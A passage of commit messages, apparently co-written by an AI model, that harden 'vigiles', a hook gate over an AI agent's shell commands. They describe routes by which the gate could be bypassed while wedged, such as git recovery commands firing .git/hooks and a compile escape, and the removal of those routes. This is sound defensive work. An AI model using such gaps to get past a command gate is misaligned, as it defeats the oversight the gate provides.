followed by another. The escape was trying to recognise a trusted ACTION from an
untrusted STRING, and a string's degrees of freedom (argv, cwd, PATH,
node_modules resolution, config discovery, shell state) are unbounded.
Two measurements settled it, both now asserted as tests rather than remembered:
1. STALE-STAMP WEDGE — writing `{}` into `.vigiles/hooks/<name>.json` (or
deleting it) makes the runtime load the hook again, and it comes back
ENFORCING (`ls` passes, `git push --force` still denied with the hook's own
reason). The repo is unwedged by a FILE WRITE, and file tools were never
gated by a Bash gate. So the compile command was never needed here.
2. LOAD WEDGE — with `package.json` holding conflict markers,
`vigiles compile <hook>` exits 1: `Cannot load hook …: Invalid package
config`. It loads the hook through the same resolver that just failed, so
it could never repair the state the escape admitted it FOR.
The command bought nothing and cost four vulnerabilities, so the primitive is
gone rather than constrained a fifth time. Deleted, not left dormant:
`isCompileLeaf`, `sameOperandPath`, `vigilesExecIndex`, `RUNNER_PREFIXES`,
`RUNNER_VALUELESS_FLAGS`, `isVigilesToken`, and the `cd` "neutral leaf" category
— 222 lines out, 100 in, and `grep` finds zero references to any of them.
What is left cannot execute repo code:
- `isStampRepairEvent` is now purely a FILE WRITE — the hook's own source, or
its stamp sidecar. Both repo-owned paths derived from the file the runtime
was invoked with, never from the event. (`samePathRef`'s suffix tolerance is
correct for a write and was wrong for an exec; with the exec gone, so is the
reason to be exact.)
- `isRecoveryEvent` is git-only: `merge --abort`, `rebase --abort`,
`checkout -- <path>`. Each moves the tree back to something git already
holds. This family has produced zero findings in five rounds.
- `cd` is no longer neutral. It was whitelisted as "produces no effect of its
own", which is backwards: the cwd decides which node_modules, config and
files a command resolves. P1b dies by construction, not by analysis.
Recovery stays possible and is now discoverable — the stale-stamp refusal prints
the exact sidecar path and says plainly that the way out is a write, not a
command; the load refusal says `vigiles compile` is not allowed AND would not
help, with the reason. Public docs (docs/compiled-hooks.md) rewritten to match,
including why the command was removed.
P2 (`bun run hooks/x.ts` attributed nothing) fixed as stated: bun and deno put a
verb before the file while sharing node's OPTION grammar. Every head in
INTERPRETER_FAMILY was checked for a subcommand form — the shells, python, ruby,
perl, tsx and ts-node have none, and node's `--run` is a flag over package.json
scripts — so the list is exactly {bun, deno}. Only `run` is modelled; the other
verbs (`deno check`/`cache` read without executing) stay unmodelled, where a miss
costs silence rather than a false grant.
Mutations, each failing on its own assertion in both the unit and real-runtime
tiers: restoring a compile leaf + `cd` neutrality; dropping the sidecar write
escape (recovery becomes impossible); reverting the refusal message; emptying
RUN_SUBCOMMAND_HEADS; dropping its head restriction.
Gates: build, api:check (no drift), prettier clean; lint 0 errors / 201 warnings
(baseline); vitest 2766 passed with only the known environmental harness-test
failure; coverage 100% statements/functions/lines, branches 94.09%.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* fix(coverage-probe): invert the direction — attribute what is recognised, not what is left
Both P2s are real and both are FALSE GRANTS. Fixed, but the round was spent on
the question behind them, because this file has produced findings in five rounds
and every one had the same shape.
## Can the executor report what it executed? Measured, not assumed.
NO for the subprocess tier, and structurally so. `runHook`/`runScript` take a
COMMAND STRING and hand it to `spawnSync(cmd, { shell: true })` — vigiles never
resolves a path, `sh -c` does, so there is nothing to report back. The corpus
confirms there is often no path to report at all: this repo's own examples pass
inline program TEXT (`CMD=$(cat | jq -r …); case …`, `node -e '<source>'`) in
which no file is named by anyone. That contract is the feature — it is how you
test a hook you did not write, verbatim as its plugin ships it.
YES for the in-process tier, which is a real gap I am reporting rather than
fixing here: `loadHook(file)` resolves the path itself, and `harness-assert.ts`
and `load-hook.ts` contain ZERO `recordSurfaceProbe` calls. The one tier where
attribution needs no parsing is the tier that attributes nothing. It would ADD a
source of truth, not retire this one, so it deserves its own round.
## So parsing stays, and the DIRECTION changes.
The scan was a deny-list — skip what we recognise, attribute what is left — so
every gap in every table became a false grant. Where the grammar cannot be
closed, it is now inverted: attribute only what is positively recognised.
(a) BUNDLED CLUSTERS. `bash -en hooks/pre.sh` / `bash -nc hooks/pre.sh` carry
bash's `n` ("Read commands but do not execute them"), but neither is a whole
word in any table, so the generic `-` skip walked past it and the path became
the entry. A cluster is now attributed only when EVERY letter is accounted
for, from the complete `bash --help` letter set; an unknown letter abstains,
because it might be another `n`. Only shells are modelled — bash publishes
its invocation letters, the others do not, and inventing one from memory is
what keeps biting. A bundle under any other family abstains
(`python3 -EsI x.py` now attributes nothing; the unbundled spelling still
works). This also FIXES the silence half: `bash -euo pipefail hooks/x.sh` —
the commonest launch shape there is — attributed nothing before and now
resolves correctly.
(b) `run-program` was a free-floating keyword searched across the whole argv, so
`echo run-program hooks/pre.sh` recorded coverage for a hook `echo` merely
printed. It is now a command SHAPE: `hook-runtime` immediately followed by
`run-program`, owned by the token before it being `vigiles` itself or the
entry script the line already resolved. Every form the installer and our own
harnesses emit still works; the words in someone else's mouth do not.
## Calibration point, recorded because it was mine
Last round I found the whole-word limit myself, measured only its silence
direction (`bash -euo pipefail`), and filed it as harmless and pre-existing. It
also had a false-grant direction, which is the expensive one, and the bot found
it. "This limit costs silence" needs checking in BOTH directions before it is
filed as harmless. The two assertions that encoded that wrong conclusion are
deleted rather than adjusted — both cases are now correct.
Mutations, each failing on its own assertion: revert the cluster handling to the
generic skip; treat an unknown letter as safe (the deny-list direction); revert
`run-program` to a free-floating scan.
Gates: build, api:check (no drift), prettier clean; lint 0 errors / 201 warnings
(baseline — one added by the fix, then removed by flattening the dispatch);
vitest 2768 passed with only the known environmental harness-test failure;
coverage 100% statements/functions/lines, branches 94.09%.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* fix: three false-grant/false-positive findings, each verified by RUNNING it
All three are the same failure direction — a lexical shape taken for the
property it resembles — and all three outputs below were produced by executing
the built module, not reasoned about.
1. `foreign-runner-tests.ts` — a bodiless TYPE MEMBER was reported as a CALL.
`returnTypeThenBody` stopped at the `;` and "no body" was read as proof of a
call, so a pure type-level test was told to rename itself out of its own
vitest run. Measured before the fix — and it was TWO shapes, not one:
agentDrivingApi("interface Runner { runEval(o: Opts): void; }") → "runEval"
agentDrivingApi("type R = { measureTriggerRate(o: O): Promise<number>; };")
→ "measureTriggerRate"
`):` now abstains outright: of the three shapes a `)` followed by `:` can be,
two are definitions and only a ternary is a call. `returnTypeThenBody` and
ANNOTATION_WINDOW became unreachable and are deleted.
🔴 I had listed this exact case in a round-6 report as a deliberate miss
"toward silence". It was never silent; it fired. That is the second round
running where a safety claim of mine was plausible, load-bearing, written
down and never executed. Every such claim in this file is now an assertion
with the measured output beside it, not prose.
2. `bash-effects.ts` `leafArgvSource` — a SYNTACTIC leaf is not an executed
command. It walked every CallExpr, so `false && bash hooks/pre.sh` and
`true || bash hooks/pre.sh` credited a hook the shell never runs, and the
probe is persisted for a passing script. The tree is now DESCENDED, only
through positions whose children always execute: statement lists, both sides
of a PIPELINE, subshells, blocks, and the LEFT of `&&`/`||`. Everything else
— if / while / for / case / function bodies — is not entered, which closes
the whole family rather than the two reported instances.
⚠️ MEASURED COST, stated: `cd /repo && bash hooks/x.sh` now attributes
nothing. `runHook(cmd, event, { cwd })` is the replacement and is what this
repo's own examples already use. The old expectation is updated in place with
that note rather than deleted.
3. `foreign-runner-tests.ts` — the `.eval.` INFIX over-fired. `parser.eval.test.ts`
was declared to burn model budget while not matching
`**/*.eval.{ts,mts,cts,js,mjs,cjs}`, the glob that decides what `vigiles eval`
runs. Now the same suffix as discovery. The infix was right where it came from
(`partitionTests` splits already-discovered files); copying it here carried it
past its premise. Consequence worth recording: `eval-name` evidence is now
reachable only through jest's `__tests__/` rule, because a name eval discovery
accepts is never a name a suffix-based runner collects — pinned by test.
## Structural verdict (asked for instead of a fourth patch)
The evidence scheme IS deny-list shaped, and the class is still live. Measured
after the fix — five more shapes fire, all bodiless members with no return type:
interface R { runEval(o); } → "runEval"
type R = { runEval(o); }; → "runEval"
class C { runEval(o: A); runEval(o: B) {} } → "runEval"
declare module "x" { interface I { runEval(o); } } → "runEval"
type R = { runEval(o), other: 1 }; → "runEval"
No rule over the token after the parameter list can separate these: `runEval({});`
is `)` followed by `;` too. The discriminator is whether the match sits in a type
body. Two inversions were considered and both measured:
1. a TS-aware parse — correct, forbidden by the byte-parity constraint;
2. require a RUNTIME import from a vigiles specifier — separates every false
positive AND every true positive tried, then MISSES this repo's own
agent-driving examples, which import `"../../dist/harness-assert.js"` (4 of
4 checked scored zero). Trades a bounded false-positive class for an
unbounded false-negative one.
So it is recorded in the module with the inputs and outputs, and NOT patched
case-by-case — that is what produced this series.
Mutations, each failing on its own assertion: restore the returnTypeThenBody
negation; restore the eval infix; descend the RHS of `&&`/`||`; abstain on
pipelines too (the over-correction).
Gates: build, api:check (no drift), prettier clean; lint 0 errors / 201 warnings
(baseline); vitest 2771 passed with only the known environmental harness-test
failure; coverage 100% statements/functions/lines, branches 94.09%.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* fix(foreign-runner): blank TYPE BODIES as a region — the class closes, parity intact
Your third option works. No parity change, no dependency, no seventh special
case: `stripNonCode` gains one more region kind, run as a second pass so brace
counting happens after quotes and comments are already gone.
## 1. Does it kill the five shapes? Yes — and a sixth I found while testing.
interface R { runEval(o); } → undefined (was "runEval")
type R = { runEval(o); }; → undefined (was "runEval")
type R = { runEval(o), other: 1 }; → undefined (was "runEval")
declare module "x" { interface I { runEval(o); } } → undefined (was "runEval")
interface X<T extends { a: 1 }> { runEval(o); } → undefined (found in test)
`declare` is NOT a keyword this scans for, deliberately: the ambient cases close
through the `interface` inside them (measured), while `declare const x: T` with
no semicolon would send the body search into the next function.
## 2. Does it keep every true positive? Yes — 22 shapes, zero lost.
Including the two you named, which a naive brace-blanker eats:
const s = `${runEval(x)}`; → runEval
const s = `a${`b${runEval(x)}`}c`; → runEval
class F { run() { return runEval({}); } } → runEval
const o = { run: () => runEval({}) }; → runEval
And the overshoot direction, which is where I expected to fail: without a bound,
a semicolon-less `type A = string` runs on into the next function's brace and
eats a real call. The bound is "anything may sit on the keyword's own line; once
a newline is crossed the next significant character must BE the `{`". With it:
type A = string\nfunction f() { runEval({}); } → runEval
declare const x: T\nfunction f() { runEval({}); } → runEval
const type = { run: () => runEval({}) }; → runEval
obj.interface = { run: () => runEval({}) }; → runEval
interface R { a: 1\nawait runEval({}); → runEval (truncated source)
`type` is not a reserved word, so it also needs to be followed by an identifier;
`obj.interface` needs the `.` lookbehind. Both are pinned by mutation — the first
version of these tests did NOT catch either guard, and I added the cases that do.
## 3. What it still misses, run rather than asserted
agentDrivingApi("class C { runEval(o: A); runEval(o: B) { return 1; } }")
→ "runEval"
A class body is the one region that cannot be blanked: it holds real method
bodies, and a call inside one is a true positive above. Telling an overload
signature from an expression statement needs to know the enclosing brace is a
class body — the context this lexical layer does not carry. Documented with the
reproducing input, and it is the only one left.
Mutations, each failing on its own assertion: no type-blanking; no newline bound;
no type-identifier guard; blank class bodies too; no dot lookbehind.
Gates: build, api:check (no drift), prettier clean; lint 0 errors / 201 warnings
(the blanker first added 4 — complexity and nesting — then flattened into
`namesAType` / `matchingBrace` / `blankBodies` to return to baseline); vitest
2771 passed with only the known environmental harness-test failure; coverage 100%
statements/functions/lines, branches 94.09%.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* fix: guard EVERY real-model spawn, and make a future adapter unable to skip it
The refusal exists so a stray `npx vitest run` cannot spend model budget. It
guarded the default Claude runner and nothing else — and `measureTriggerRate(
spec, { evalDriver: codexEvalDriver })`, the publicly documented alternative,
calls the injected driver's runner DIRECTLY into `spawnSync("codex", …)`.
Measured before choosing a remedy: the guard covered ONE of FOUR money doors.
src/eval.ts spawn(claudeCodeRuntime.agentBinary) guarded
src/adapters/codex/eval.ts spawnSync("codex", …) UNGUARDED
src/judge.ts spawnSync("claude", …) UNGUARDED
src/scan-behavioral.ts spawnSync("claude", …) UNGUARDED
`judge` and `deriveAttackReal` are reached from inside a user's `measure`
callback, so "before dispatching any driver" would not have covered them either
— neither passes the eval composition root at all. That rules out the first
remedy the bot named, on evidence rather than taste.
The irony, recorded in the code: last round's nudge fix now tells Codex users to
pass `{ evalDriver }` — the product actively recommends the shape that bypassed
the guard.
## How a future adapter is prevented from forgetting
Not by a list. `src/model-spawn-guard.test.ts` scans the source and fails on any
spawn whose program mentions `agentBinary` — the field every `HarnessRuntime`
declares for its binary — unless the enclosing function calls the guard or
carries a `vigiles:free-tier` marker with a reason. A new adapter spawning
`fooRuntime.agentBinary` is caught the day it is written, without the check
knowing `foo` exists. Verified by building a throwaway `src/adapters/newharness/`
that forgot the guard: the check failed on it, passed once guarded, then removed.
Three free-tier spawns are marked with why they cost nothing: two `--version`
probes, and the deterministic harness tier, whose `runtime.wireMock` points the
binary at the LOCAL scripted mock.
Two bugs in the check itself, both found by running it:
- the first pattern was same-line only, so it found four sites and MISSED
exactly the three multi-line ones the finding was about — a check that cannot
see the bug it was written for. Hence the `>= 7` count assertion.
- blanking comments to `""` preserved line numbers but shifted character
OFFSETS, so the guard lookup read the wrong place and reported all seven
unguarded. Comments are now blanked to spaces of equal length.
## Placement
`refuseUnderForeignRunner` moved to `core/foreign-runner.ts`, which imports
NOTHING, so any adapter can call it without a cycle. `foreignRunner` stays pure;
this is the one impure wrapper.
⚠️ It must sit OUTSIDE the swallowing `try` in `judge` and `deriveAttackReal` —
both do `try { spawn } catch { return fallback }`, so a refusal thrown inside
becomes a silent `score: 0` instead of a stop. Pinned by mutation.
## Tests, through a REAL foreign runner
`src/eval-injected-driver-guard.test.ts` drives an actual `node --test` child,
because this suite runs under vitest and a test asserting "vitest is refused"
agrees with whatever the guard already believes. FIRES: the Codex driver's runner
and `judge` both refuse. QUIET: outside a foreign runner the same calls get PAST
the guard (and fail on the missing binary), so a fix that always threw would fail
here. The child runs with an EMPTY `PATH`, so a regression fails the test instead
of billing for it.
Mutations, each caught: remove the Codex guard; remove the judge guard; move the
judge guard inside its swallowing `try`.
Gates: build, api:check (no drift), prettier clean; lint 0 errors / 201 warnings
(baseline); vitest 2777 passed with only the known environmental harness-test
failure; coverage 100% statements/functions/lines, branches 94.16%.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* fix(coverage): the in-process tier attributes what it EVALUATES
The gap I named two rounds ago and deferred; the reviewer found it independently.
`loadHook(file)` + `assertHookDenies(hook, event)` — the documented cheapest path
— recorded a check and no SURFACE, so the child exited a non-vacuous pass with an
empty `surfaces` list, `runsFromResults` discarded it, and a harness that really
did execute a compiled hook produced NO execution record. The hook then showed as
untested unless filename colocation happened to cover it.
🔴 A FALSE NEGATIVE, so the risk while fixing runs opposite to every other
coverage finding here. Those were false GRANTS and the cure was "abstain when
unsure"; this one is real execution going unrecorded, and the danger is recording
too eagerly. The line is EVALUATION, and it is pinned in both directions.
Where the probe is, and the three places it is not:
- `loadHook` only REMEMBERS the path (a WeakMap in core/hook-program.ts — the
object is the user's, so no field is stamped on it). Loading a hook to
inspect its shape has not run it; crediting that would be the empty-file-
counts substitution the execution tier exists to remove.
- `runHookProgram` — the PURE evaluator, and what the CLI's `hook-runtime
run-program` calls on every live event in production. Recording there would
make the pure decision impure and fire outside any test.
- `runCountedHookProgram` — the one place holding BOTH facts (this hook is
about to be evaluated; it came from a file). All four public in-process
assertions funnel through it, so none can be added without inheriting the
attribution.
This is the one attribution in the codebase that needs no parsing: the path is
the argument `loadHook` resolved. The comment says so explicitly — the parsed
source (`commandRefs`) is best-effort over an unbounded grammar and has been
wrong in five rounds; this one is exact by construction. Same record SHAPE, not
the same trustworthiness.
⚠️ What it deliberately does not attribute, run rather than asserted:
defineHook({…}) then assertHookDenies(h, e) → surfacesRecorded() === []
runHookProgram(loadedHook, e) → surfacesRecorded() === []
Both cost a missed record, never a false one.
## Does it move this repo's numbers? No — and here is why, measured.
before: untested 23, executed 0, colocated 0
after: untested 23, executed 0, colocated 0
Not because nothing changed: this repo's canonical
`examples/harness/compiled-hook-inprocess.harness.mjs` now emits two probes where
it emitted zero —
{ how: "command", ref: "examples/harness/protect-main.hook.mjs" }
{ how: "command", ref: "examples/harness/warn-on-failure.hook.mjs" }
— and both resolve to NOTHING, because those files are not wired into
`.claude/settings.json` and so are not declared surfaces of this repo. An
unresolvable ref is dropped, never guessed into a match, so no artifact is
written and the counts hold. That is the tier's first rule working, not a
failure.
Tests, both halves, unit AND end-to-end through the real CLI: a harness that
evaluates a wired compiled hook records it; one that only loads it records
nothing (while something else runs, so the silence is about the LOAD and not
about a vacuous script).
Mutations, each failing on its own assertion: never record the probe → "an
in-process evaluation is an execution and must be recorded"; record at LOAD time
instead → "a LOAD must attribute nothing".
Gates: build, api:check (no drift — the two new helpers are internal to
core/hook-program.ts and `hook.ts` re-exports by name), prettier clean; lint 0
errors / 201 warnings (baseline); vitest 2782 passed with only the known
environmental harness-test failure; coverage 100% statements/functions/lines,
branches 94.17%.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* fix(hook-program): delete the git escape — all three ran `.git/hooks/*`
The surface I flagged last round as never independently audited. My own claim
was the load-bearing one and it was false: "these commands move the tree to
states git already holds; none executes a line of repo code."
MEASURED, git 2.43.0, hooks installed in `.git/hooks/`:
git checkout -- f.txt → post-checkout (<sha> <sha> 0)
git merge --abort → reference-transaction (prepared, committed)
git rebase --abort → reference-transaction (×4) + post-checkout
`reference-transaction` fires on ANY ref update, and every one of these updates a
ref — so the whole whitelist was an arbitrary-execution path standing open
precisely while the gate enforced nothing, writable by exactly the actor the door
assumes. Same shape as the compile escape one layer down: a command believed
inert because of what it MEANS rather than what it DOES.
(My first neutralisation measurement was contaminated — the log captured the
SETUP command's hooks, not the guarded one. Re-run with the log cleared
immediately before each guarded command; the corrected numbers are above.)
## The two remedies, both measured
1. `git -c core.hooksPath=/nonexistent …` DOES suppress all three (no hook ran
for any of them). Rejected anyway: it puts free-form structure back into the
accepted string — the exact thing five findings on the compile door came from
— and it buys nothing, because of (2).
2. A FILE WRITE already un-wedges the repo. Measured on the load-wedge fixture:
wedged : `ls` refused
after Edit : `ls` allowed, `git push --force` DENIED ("no force-push")
You do not need to finish recovering, only to stop being wedged. Once the hook
loads the gate decides normally, and `git merge --abort` is an ordinary
allowed command — through the gate rather than around it.
So the git escape goes the way of the compile escape. `isRecoveryEvent`,
`isGitRecoveryLeaf` and `allLeavesAre` are deleted; NO command is an escape now.
## What replaces it
`isLoadPathRepairEvent` — a write to the hook's own source, its stamp sidecar, or
one of `HARNESS_CONFIG_FILES` (`package.json`, `.vigilesrc.json`). That set is
COMPLETE for a compiled hook rather than a guess: `checkHookImports` rejects every
import but `vigiles/hook`, so the load path is the hook file plus the config that
resolves that specifier — nothing else can break it. A write executes nothing,
which is the property no command on this door ever had.
The refusal now names the files to fix, says a write is the way out, and says why
no command is allowed (`.git/hooks` for git, the failed resolver for compile).
`docs/compiled-hooks.md` rewritten to match.
## Tests
Both halves, with a REAL installed git hook rather than the git docs: a new test
builds a repo, installs `post-checkout`/`reference-transaction`, and watches them
fire — so the premise is checked, not remembered. Through the real runtime: every
command refused (including the `core.hooksPath` spelling), the load-path write
allowed, and the write shown to restore ENFORCEMENT.
Mutations, each on its own assertion: restore the git escape → the refusal tests
fail; drop the config-file half → the wedge has no way out.
Gates: build, api:check (no drift), prettier clean; lint 0 errors / 201 warnings
(baseline); vitest 2782 passed with only the known environmental harness-test
failure; coverage 100% statements/functions/lines, branches 94.17%.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* fix(hook-repair): bind repair writes to THIS repo; stop crediting a shell that never launched
Two findings, the same shape one layer apart: a property asserted about the
ACTION while the SCOPE of that action went unchecked.
## 1 (P1) — a repair write was accepted in any checkout on the disk
`samePathRef` matched by SUFFIX, so `/home/another-project/package.json` counted
as a repair of this repo's `package.json`. My defence last round — a write
executes nothing — was true and answered a different objection. It does not
license writing into a checkout the wedged session has nothing to do with, and
that file cannot repair the failure anyway.
Both sides are now RESOLVED against a root and compared whole (`resolveRef`,
still no `node:path` in core). The tolerance the suffix match was reached for
survives untouched: the harness sends an absolute `file_path` while settings
carry a relative one, and resolution is the correct way to match those.
The identical hole existed on the STAMP door (`isStampRepairEvent`) and is
closed with it — unreported, same helper.
### The hook's own path does NOT give a reliable root, so the caller passes it
Asked, and the answer is no. A hook sits at `.claude/hooks/`, `.vigiles/hooks/`,
a plugin subdirectory or the repo root; there is no fixed depth to walk up, and
a `.git` probe would be a disk read core does not do. Nor would a git-derived
root be RIGHT: `verifyStampOrRefuse` reads the hook and its stamp sidecar
through `process.cwd()`, so any other root would accept writes to files the
runtime never reads — repairs that do not repair. The root is `process.cwd()`,
supplied by cli.ts, and the accepted files are the ones the runtime itself
derived (`hookLoadPathFiles`). Required parameters, so the loose form is
inexpressible.
### …and the obvious narrowing would have RE-WEDGED the repo
"Refuse anything outside cwd" is wrong. MEASURED against this runtime, hook at
`gp/p/repo/.claude/hooks/`, conflict markers planted at one ancestor:
repo pkg PRESENT, parent conflicted → loads fine
repo pkg absent , parent conflicted → WEDGES, cause `../package.json`
repo pkg absent , parent absent, gp broken → WEDGES, cause `../../package.json`
repo pkg PRESENT, parent absent, gp broken → loads fine
repo pkg absent , parent HEALTHY, gp broken → loads fine
Node walks up and stops at the first `package.json` that EXISTS. An ancestor
above the repo root can wedge the load, and the runtime names it as the cause
while refusing the write that fixes it — this branch's own defect, reintroduced
by a security fix. So the accepted set is that chain, and `hookLoadPathFiles`
now stops walking at the first existing `package.json` too: `/home/package.json`
and `/package.json` are no longer accepted from any wedged repo on the machine,
because Node never opens them.
## 2 (P2) — an unconditional probe credited a hook that only `/bin/sh` ran
`spawnSync(cmd, { shell: true })` does not throw when the shell cannot start the
program, so a harness asserting that failure passed and the probe attributed a
surface anyway.
The numbers are MEASURED here, not taken from the report — `/bin/sh` is dash:
126 | direct non-executable | ./noexec.sh | out=""
127 | direct missing | ./missing.sh | out=""
127 | bare unknown command | nosuchcmd-xyz | out=""
127 | bad shebang (exists, +x) | ./badshebang.sh | out=""
126 | is a directory | ./ | out=""
3 | real hook, exit 3 | ./exit3.sh | out="ran"
Only 126/127 suppress the probe; 0/1/2/3/125/128/255 and a signal death all
still attribute, because a hook that runs and exits non-zero HAS executed.
Deliberately missed, all toward SILENCE, all measured:
2 | sh ./missing.sh | out="" ← dash's code, = Claude Code BLOCK
0 | sh ./noexec.sh | out="ran" ← the interpreter READS it; it ran
0 | bash ./noexec.sh | out="ran" ← same
127 | ./ok.sh && ./missing.sh | out="ran" ← a leaf ran, the line reports 127
`sh <missing>` cannot be encoded: exit 2 is indistinguishable from a gate
legitimately denying. It is also near-moot — a path that does not exist was
never discovered as a surface, and `resolveProbe` matches only discovered ones.
### Two fixtures were credited by this bug and are now real
`run-scripts.test.ts` ran `bash hooks/guard.sh` with no such file, and
`check-count.test.ts` pointed `$GUARD` at `/repo/hooks/guard.sh`, a path that
exists nowhere. Both asserted attribution over a hook that never launched. They
now create real executables and assert the exit code.
## Verification
Mutation-checked across the whole relevant test set, six mutations, each failing
on its OWN assertion: suffix match restored on the load-path door · on the stamp
door · launch check removed · launch check widened to "any non-zero" · repairs
clamped to inside the root · the package.json walk left unbounded.
Gates: build, `npx vitest run` (2787 passed; only the environmental
`a blocking Stop hook forces the agent to keep working`), `npm run api:check`
(no drift), `npm run lint` (0 errors / 201 warnings), prettier, coverage
100/100/100 lines-statements-functions, branches 94.19%.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* fix(nudge): the eval-tier question is per SURFACE — an agent is not a skill
Fourth instance of "the remedy does not apply to the thing it is aimed at", and
the first one where the aim was a whole surface kind rather than a flag.
`skillTestNudge` disables only hooks, so an AGENT reaches the never-evaluated
branch exactly as a skill does — and was handed the skill's sentence: that its
description must "FIRE", remedied by `measureTriggerRate`. Both halves are wrong
for an agent, and the second is not merely unhelpful.
## 1. What the repo's own guidance actually says (asked before writing)
The finding says `runEval`. `docs/rules/untested-subagent.md` said something
weaker and ambiguous: "a `runHarnessTest`/eval that asserts the agent stayed
within its allowed tools (`notTool`) or a `subagent(...)` nested-trace check."
That names the DETERMINISTIC tier first and lumps "eval" in behind a slash — and
this branch fires precisely when deterministic coverage ALREADY EXISTS, so as
eval-tier advice it is useless. The guidance was not wrong so much as unable to
answer the question the nudge asks, which is how the nudge came to borrow the
skill's answer. Fixed in the same commit: the doc now splits the tiers (same
assertions, different model) and states the limits below.
## 2. `measureTriggerRate` cannot address an agent — measured, no model spent
```
packageSkillsDir("<repo>/agents") → THREW: No <name>/SKILL.md skills
found under <repo>/agents
measureTriggerRateWith({ pluginDir: <an → rate = 0 | competitors = 0
agents-only plugin> }, fakeRunner)
```
It installs `<name>/SKILL.md` skills and decides "fired" by skill SELECTION
(`skillResolved`). The loose-skills form throws; the plugin form returns a NUMBER
for a surface it never installed — the same "worse than an error" the sibling
driver note one branch up already exists for.
"Does Claude pick this subagent when it should?" is a real question; vigiles has
no API for it. The nudge says so rather than implying one.
## 3. …and the obvious rewrite would have been instance FIVE
`runEval` / `measure` / `measureArms` all hard-wire `spawnAgent`, and
`runEvalWith` is not exported from `vigiles/testing` — `measureTriggerRate` is
the ONLY public call with an `{ evalDriver }` seam. Writing
`runEval(spec, { evalDriver })` by symmetry with the skill arm would have
suggested an argument the function does not take. The agent arm states the limit
instead: those calls drive Claude Code, so on another harness this tier has no
public dispatch yet. (Codex has no subagent dir at all — `agentDir: ""` — so in
practice this concerns OpenCode, which has agents and no eval driver.)
## 4. `kind` or a capability? Both — the capability is a total function of kind
The real predicate is "can the trigger tier install and observe this surface?",
and today that is decided by the tier's installer being `<name>/SKILL.md`-shaped.
So it is stated once per kind in `evalTierQuestion`, not inferred at the call
site, and the switch is exhaustive with `assertNever`.
What happens to a fourth kind tomorrow — measured, not asserted. Adding
`| "command"` to `SurfaceKind`:
src/test-coverage.ts(882,26): error TS2345: Argument of type '"command"' is
not assignable to parameter of type 'never'.
It does not silently inherit the skill's sentence; it fails to compile at the one
place that has to change. `hook` returns null on purpose: a hook is deterministic
by construction (`runHook` answers it free at the unit tier), and the arm exists
so a caller that DOES ask gets silence rather than the skill's text.
## Verification
Four mutations, run across the whole relevant test set
(`test-coverage` + `cli-nudge-config` + `cli-harness-resolution`), each failing
on its own assertion: collapse every kind back to the skill sentence · drop the
no-public-dispatch clause · let the hook arm fall through to the skill sentence ·
add a fourth `SurfaceKind` (compile-time).
Gates: build · full suite with coverage 2791 passed, 0 failed (the environmental
Stop-hook test skipped per the coverage protocol) · coverage 100/100/100
lines-statements-functions, branches 94.19% · `api:check` no drift
(`test-coverage.ts` is not on a public entry) · lint 0 errors / 201 warnings ·
prettier.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* fix(coverage): a name is not an identity, and a list stops at `exit`
Two false grants, and the first is the third appearance of one idea.
## 1 (P2) — the bottom rung of `resolveProbe` matched by bare NAME
Executing `/tmp/guard.sh` in a passing harness credited the repo's sole
`hooks/guard.sh`. The rung threw the ref's directories away, which is the same
substitution this PR has already removed twice: the coverage metric's "mention"
tier (deleted — 9 of 10 covered surfaces, ≥3 falsely) and the foreign-runner
gate's identifier search (replaced by a call site).
### Measured first, because the question was whether it should exist at all
`vigiles test` over all 13 example harnesses, instrumented per rung:
basename → miss examples/harness/protect-main.hook.mjs
basename → miss examples/harness/warn-on-failure.hook.mjs
basename → miss /workspace/…/test/dogfood/oh-my-claudecode@deee3a4/scripts/run.cjs
exact : 0 calls
suffix : 0 calls
A second real corpus (a 43-harness consumer repo) produced ZERO command probes.
So no rung has granted coverage on any corpus available here, and the bottom rung
CANNOT be justified by what it has resolved. The third line is the live near-miss
that settles the direction: a VENDORED third-party script reached the loose rung
and would have credited a hook of this repo named `run.cjs`, had one existed.
### Why it is narrowed rather than deleted
The two earlier deletions removed matches on a PROJECTION of the evidence — a
name pulled out of a file, an identifier pulled out of a module — discarding what
the rest of it said. The replacement discards nothing: the ref must be a TAIL of
the surface path, so every segment it carries has to lie on that path, and a ref
carrying none contradicts none. `/tmp/guard.sh` resolves to nothing because no
repo-relative surface path can end in `//tmp/guard.sh`.
The new rung is a strict SUBSET of the old (tail alignment implies equal
basenames), so it can only remove grants. It keeps the one shape the corpus
cannot show but this repo's own advice produces: a harness run with `{ cwd }`
inside the repo names `guard.sh`.
## 2 (P2) — statements after an unconditional terminator
`exit 0; bash hooks/pre.sh` credited a hook the shell exits before launching. The
descent knew which children always execute; it did not know where a list stops.
MEASURED, bash 5.2 and dash, with a filesystem marker — the first attempt read
`exec > /dev/null` as "did not run", which was the redirect swallowing the echo:
exit 0; ./x.sh bash x NOT run dash x NOT run
return 0; ./x.sh bash x RAN dash x NOT run ← disagree
exec ./x.sh; echo AFTER AFTER not run AFTER not run
exec > /dev/null; ./x.sh bash x RAN dash x RAN
{ exit 0; }; ./x.sh x NOT run x NOT run
( exit 0 ); ./x.sh x RAN x RAN
exit 0 & ./x.sh x RAN x RAN
exit 0 | cat; ./x.sh x RAN x RAN
f() { exit 0; }; ./x.sh x RAN x RAN
